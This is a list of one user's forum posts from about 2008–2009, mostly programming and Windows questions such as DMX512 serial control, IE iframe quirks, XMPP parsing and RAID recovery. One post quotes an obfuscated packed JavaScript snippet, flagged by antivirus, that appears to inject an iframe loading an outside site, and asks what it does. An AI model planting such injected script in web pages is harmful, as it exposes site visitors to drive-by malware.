Entries for ZippyV

DMX512, serialport and .Net

ZippyV — Sun, 22 Nov 2009 19:06:46 GMT

I've got this device laying around in my room and last week I decided to try if I can control it using vb.net. The device is connected from a usb port on my laptop to the dmx port. It has a serial converter built in so Windows sees it as COM4. The problem is that my application doesn't work. I tried to implement the code based on Ujjal's DMX512 page, did I make any mistake?

[code language="vb"]

Public Sub New()
sp = New SerialPort("COM4", 250000, Parity.None, 8, StopBits.Two)
sp.Open()
End Sub

Public Sub Send(ByVal data As Byte())
'Send break time
sp.BreakState = True
Threading.Thread.Sleep(10)
sp.BreakState = False

'Send Mark After Break (MAB)
sp.Write(New Byte() {255}, 0, 1)
'Send Start Code (SC)
sp.StopBits = StopBits.Two
sp.Write(New Byte() {0}, 0, 1)

'Send dmx data
sp.Write(data, 0, data.Length)
End Sub[/code]

The byte array that gets passed in is this one:

[code language="vb"]

With lSettings
.Add(8) ' Shutter open
.Add(255) ' 100%
.Add(24) ' Color wheel (red)
.Add(0) ' Gobo selection (open)
.Add(0) ' Gobo rotation type (stop)
.Add(128) ' Pan (neutral)
.Add(128) ' Tilt (neutral)
End With[/code]

Can't update Office 2000 [Can't update Office 2000]

ZippyV — Wed, 21 Oct 2009 17:33:05 GMT

I installed Office 2000 on a virtual machine yesterday but to my surprise MicrosoftUpdate didn't update it. I looked for some service packs and now I need to install SP1a before I can install any of the later service packs. The problem is that this update tries to download another file which isn't available anymore.

Can anyone from Microsoft digg deep into the private update archives and give me the full administrative update of Office 2000 Premium SP1a for the DUTCH version? Or make MicrosoftUpdate update it automatically.

in reply to Can't update Office 2000

Ajax and iframe problem in IE [Ajax and iframe problem in IE]

ZippyV — Wed, 21 Oct 2009 09:09:42 GMT

I'm sending a file using ajax (which creates an iframe) and this is the result I get back in the iframe (innerHtml):

[code language="html"]<form action="/admin/images/ajaxupload" method="post" id="SubmitImageForm2">
<p>
  <input name="Page" id="Page" value="2" type="hidden">
  <input name="x" id="x" type="hidden">
  <input name="y" id="y" type="hidden">
  <input name="w" id="w" type="hidden">
  <input name="h" id="h" type="hidden">
  <input name="ImageName" id="ImageName" value="bugatti-galibier-large_2.jpg" type="hidden">
  <img src="/images/uploads/bugatti-galibier-large_2.jpg" id="cropbox">
  <input value="Send" type="submit">
</p>
</form>
[/code]

This works in Firefox but Internet Explorer is giving me this:

[code language="html"]<P>

</P>

</FORM>[/code]

Notice how the <p> does render while tags before and after it don't render. What's with the uppercase tags?

in reply to Ajax and iframe problem in IE

Review: shopping in the Microsoft online store [Review: shopping in the Microsoft online store]

ZippyV — Thu, 10 Sep 2009 12:08:15 GMT

I decided to order something from Microsoft's new store website that was launched awhile ago. On Monday afternoon I purchased a new keyboard and Expression Web 3. Browsing through the website is awful: the website is slow even when there isn't much content displayed, when I want to switch the country to Belgium (dutch) it will still display The Netherlands, the checkout process asks for my address even when I'm logged in using Passport and tracing the package returns a 403 error. One positive point: the payment using my Visa card needed to be validated using my bank's device (it validates the transaction, my card and my PIN), most international webstores don't do this (like Amazon UK).

Yesterday (Wednesday) I received my first package: Expression Web 3 (small LOL: the DVD only contains 180 MB data), nice package but it smells bad. Today (Thursday) the keyboard arrived, I saw a QUERTY keyboard picture but the sticker on the box assured me that "Picture of US keyboard for illustration purposes only and may differ from actual keyboard layout sold in your country". Sadly, the picture did not differ.

But why did I buy a new keyboard? I'm happy with the Microsoft Office keyboard, it has dedicated buttons to launch Word, Excel, Outlook, a browser, mute, logoff, sleep, cut, copy and paste buttons. Unfortunately Microsoft doesn't provide a driver in Vista.

in reply to Review: shopping in the Microsoft online store

Interpreting XML [Interpreting XML]

ZippyV — Thu, 03 Sep 2009 23:25:44 GMT

I'm looking into XMPP at the moment. The protocol is basically about sending and retrieving data that is XML formatted. I've tried to read some data by deserializing it to a class but it doesn't work (attributes like xmlns or empty tags don't get deserialized).

For example:

[code language="xml"]<stream:features>

</starttls>

<mechanism>DIGEST-MD5</mechanism>

<mechanism>KERBEROS_V4</mechanism>

</mechanisms>

</stream:features>[/code]

What would be the best way to interpret this kind of XML?

in reply to Interpreting XML

Party @ Dovella's house [Party @ Dovella's house]

ZippyV — Thu, 03 Sep 2009 10:54:28 GMT

http://houseparty.com/windows7

Of course they skipped The Netherlands and Belgium but they didn't skip Italy!!!!!!

in reply to Party @ Dovella's house

Lot's of tables [Lot's of tables]

ZippyV — Wed, 12 Aug 2009 13:26:10 GMT

I saw this question on Serverfault: "I'm in the middle of designing a software system storing data in about 4000 tables in Microsoft SQL Server 2008."

Even for an ERP system it looks like normalization taken too far or am I a n00b with my (on average) 15 table db design. I know some people on Channel 9 work with very big databases but how many tables do they contain?

in reply to Lot's of tables

I didn't do it [I didn't do it]

ZippyV — Sat, 01 Aug 2009 22:32:56 GMT

I swear I didn't do anything. Why is everyone looking at me?

in reply to I didn't do it

Follow the moonlanding, live [Follow the moonlanding, live]

ZippyV — Fri, 17 Jul 2009 20:41:35 GMT

http://www.wechoosethemoon.org/

Still 71 hours before they arrive at the moon, in the meantime you can follow their radiochatter live.

in reply to Follow the moonlanding, live

OMG! Funny CSI clip [OMG! Funny CSI clip]

ZippyV — Thu, 25 Jun 2009 13:58:56 GMT

in reply to OMG! Funny CSI clip

Dangerous javascript code? [Dangerous javascript code?]

ZippyV — Tue, 23 Jun 2009 11:24:41 GMT

Here is a snippet of code I found on some website that virusscanners are complaining about. Can anyone find out what it does?

eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('s.r(q(\'%l%1%m%3%e%n%2%6%c%3%i%a%9%4%0%0%d%f%b%b%0%g%3%3%2%8%0%g%3%2%e%i%0%g%3%j%8%2%0%f%h%5%h%5%b%1%8%7%2%w%j%d%4%d%9%6%y%1%7%0%4%a%x%5%5%6%4%2%1%u%4%0%a%5%6%c%0%p%k%2%a%9%v%1%c%1%t%1%k%1%0%p%f%6%4%1%7%7%2%8%9%o%l%b%1%m%3%e%n%2%o\'));',35,35,'u0074|u0069|u0065|u0072|u0068|u0030|u0020|u0064|u006e|u0022|u003d|u002f|u0073|u0070|u0061|u003a|u006f|u0038|u0063|u002e|u006c|u003c|u0066|u006d|u003e|u0079|unescape|write|document|u0062|u0067|u0076|u0078|u0031|u0077'.split('|')))

in reply to Dangerous javascript code?

OMG! Chat on Channel9 with webcam! [OMG! Chat on Channel9 with webcam!]

ZippyV — Wed, 03 Jun 2009 14:30:57 GMT

http://tinychat.com/channel9

in reply to OMG! Chat on Channel9 with webcam!

Vista Resource Kit Tools download? [Vista Resource Kit Tools download?]

ZippyV — Fri, 29 May 2009 15:19:27 GMT

Is it possible to download the tools that are provided with the Vista Resource Kit book?

in reply to Vista Resource Kit Tools download?

Hot patching [Hot patching]

ZippyV — Sat, 16 May 2009 14:31:00 GMT

"Hot patching

One of my own personal favorites is the hot patching feature that allows you to patch your system binaries even if they are currently in use. By actually patching the binaries in memory, this new feature will significantly reduce the number of reboots required for hotfixes. You will still need to reboot after updating kernel-level binaries, but as always, the fewer reboots the better."
From http://www.securityfocus.com/columnists/312

Is this technology actually being used? I still have to reboot my pc after WindowsUpdate installs new updates and I don't think we've seen a kernel update every month.

in reply to Hot patching

Raid 5 issues [Raid 5 issues]

ZippyV — Thu, 23 Apr 2009 08:18:52 GMT

Last week one of my 3 hd's died in the array. Yesterday I got my replacement but rebuilding the array didn't work for some reason in the Mediashield (raid) bios. It kept giving errors so as a last resort I deleted the array, created a new one, added all the drives and select my new drive to be rebuilt.
Problem is, diskmanager in Windows wants to initialize the drive and put a MBR or GPT on it. I guess all my data is screwed up now or is there a recovery application that can extract and combine data from the 2 drives or recreate the partition table like it was before?

in reply to Raid 5 issues

ADO.NET Data Services weirdness [ADO.NET Data Services weirdness]

ZippyV — Tue, 24 Mar 2009 12:46:15 GMT

I'm trying to get retrieve all the rows from an Azure table. The weird thing is that after following all the examples from the web I'm getting errors but no rows. However with Azure Storage Explorer I was able to look at my table and see the rows.
Using Wireshark I saw what was happening in the background:

Azure Storage Explorer: GET /Exercises HTTP/1.1
My app: GET /Exercises() HTTP/1.1

Why is it putting these brackets in there?

in reply to ADO.NET Data Services weirdness

Remove the Youtube functionality [Remove the Youtube functionality]

ZippyV — Wed, 11 Mar 2009 11:31:15 GMT

Some idiot is abusing this feature yet again and since we don't have the spam button to bury his post I vote to remove the ability to add Youtube videos to a post.

in reply to Remove the Youtube functionality

QuakeLive - Who else is waiting in line? [QuakeLive - Who else is waiting in line?]

ZippyV — Wed, 25 Feb 2009 01:27:52 GMT

http://www.quakelive.com

It just went open for public beta. Registration went without a problem but now I'm waiting in the queue place 31127.

"You will automatically move on to the site when it's your turn. Technology is so cool."

in reply to QuakeLive - Who else is waiting in line?

Need advice - IT in a store [Need advice - IT in a store]

ZippyV — Thu, 29 Jan 2009 22:47:29 GMT

I made an application for a store. I imported the customers, products into the database and did the inventory in the past week. Now I'm making the point of sale program and the store will be ready to go when that's finished. However, until now I've only been using the store owner's laptop which is obviously not so good.

I was thinking about buying a server from Dell with Windows Small Business Server 2008 Premium (because of SQL server), another desktop PC (for inserting new products and printing reports/labels) and a point of sale pc with a touch screen. This setup should definately work but when looking at the price of SBS (1300 €) I'm starting to doubt if I really need it. For now SQL Server Express 2008 works fine: I've got about 2000 customers, 5000 products in the db, reporting services works fine. I think it will take a while for the db to hit any limits. So change of plans:
Buy a desktop pc (Vista Business) which will also act as the database server (SQL Server Express 2008). A user will only use the pc/server for inserting new products and printing labels. The pc should have a raid 1 array, UPS and a backup device. The POS pc will connect to it via a switch and occasionally the current laptop. If the database starts hitting the limits of the Express version I could buy the server with SBS 2008 and move the database to that one.

Any advice on my ideas? The backup device, since the database is only 10 MB at the moment I assume a tape backup is overkill. Should I use a CD-R(W), external HD or a simple USB stick?

in reply to Need advice - IT in a store

Windows 7, High DPI, blurry interface [Windows 7, High DPI, blurry interface]

ZippyV — Wed, 14 Jan 2009 14:23:34 GMT

I've set the DPI setting at 150% and I noticed some applications have a blurry interface. I thought I was safe because I've put the scalingmode on my application's mainform on DPI but my application is now blurry too.
What do I have to do to make my application's interface sharp again?

in reply to Windows 7, High DPI, blurry interface

Programmatically setting data in a bindingsource [Programmatically setting data in a bindingsource]

ZippyV — Mon, 12 Jan 2009 23:22:00 GMT

I've got a form with a bindingsource, 2 textboxes (PostalCode and City) are bound to the bindingsource. When the user inserts a postalcode and inserted 4 characters I retrieve a list of cities from the database based on that code. If there is at least 1 result I set the first result in the City textbox ( txtCity.Text = CityList(0) ). This works like it should but when I 'tab' into the City textbox, the text disappears.
I guess it's because the value did not get into the bindingsource and got discarded when the City textbox received focus.
Is there any solution to prevent this?

in reply to Programmatically setting data in a bindingsource

What do you want to see on Channel 9 in 2009? [What do you want to see on Channel 9 in 2009?]

ZippyV — Wed, 31 Dec 2008 00:07:32 GMT

I made a wiki, feel free to add your ideas.

http://channel9.msdn.com/Wiki/Channel09/

in reply to What do you want to see on Channel 9 in 2009?

Windows 7 beta invitations sent [Windows 7 beta invitations sent]

ZippyV — Wed, 17 Dec 2008 22:16:26 GMT

whoohoooow! :)

Check your email.

http://www.neowin.net/news/main/08/12/17/new-windows-7-beta-released-to-select-testers

in reply to Windows 7 beta invitations sent

IE patch is out [IE patch is out]

ZippyV — Wed, 17 Dec 2008 19:14:48 GMT

Just found it on WindowsUpdate.

http://www.microsoft.com/technet/security/advisory/961051.mspx

in reply to IE patch is out

Nit pick of the week [Nit pick of the week]

ZippyV — Fri, 12 Dec 2008 20:53:30 GMT

Pick a thread with multiple pages, go to the second/third/last page. Notice that the link and tooltip of a user's image still refers to the profile of someone else.

in reply to Nit pick of the week